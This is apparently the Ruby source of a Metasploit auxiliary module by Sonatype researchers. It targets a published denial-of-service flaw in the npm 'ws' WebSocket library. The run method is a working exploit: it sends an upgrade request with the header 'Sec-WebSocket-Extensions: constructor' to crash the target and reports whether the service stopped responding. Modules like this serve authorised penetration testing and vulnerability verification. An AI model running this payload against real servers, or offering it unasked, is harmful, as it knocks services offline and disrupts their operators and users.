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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize
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    super(
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      'Name'           => 'ws - Denial of Service',
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      'Description'    => %q{
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          This module exploits a Denial of Service vulnerability in npm module "ws".
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        By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.
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      },
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      'References'     =>
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        [
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          ['URL', 'https://nodesecurity.io/advisories/550'],
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          ['CWE', '400'],
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        ],
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      'Author'         =>
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        [
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          'Ryan Knell,  Sonatype Security Research',
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          'Nick Starke, Sonatype Security Research',
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        ],
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      'License'        =>  MSF_LICENSE
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    )
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    register_options([
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      Opt::RPORT(3000),
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      OptString.new('TARGETURI', [true, 'The base path', '/']),
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    ],)
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  end
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  def run
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    path = datastore['TARGETURI']
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    #Create HTTP request
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    req = [
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      "GET #{path} HTTP/1.1",
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      "Connection: Upgrade",
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      "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",
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      "Sec-WebSocket-Version: 8",
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      "Sec-WebSocket-Extensions: constructor",  #Adding "constructor" as the value for this header causes the DoS
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      "Upgrade: websocket",
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      "\r\n"
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      ].join("\r\n");
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    begin
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      connect
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      print_status("Sending DoS packet to #{peer}")
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      sock.put(req)
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      data = sock.get_once(-1)  #Attempt to retrieve data from the socket
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      if data =~ /101/   #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
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        print_error("WebSocket Upgrade request Successful, service not vulnerable.")
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      else
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        fail_with(Failure::Unknown, "An unknown error occurred")
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      end
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      disconnect
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      print_error("DoS packet unsuccessful")
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    rescue ::Rex::ConnectionRefused
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      print_error("Unable to connect to #{peer}")
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    rescue ::Errno::ECONNRESET, ::EOFError
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      print_good("DoS packet successful. #{peer} not responding.")
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    end
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  end
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end
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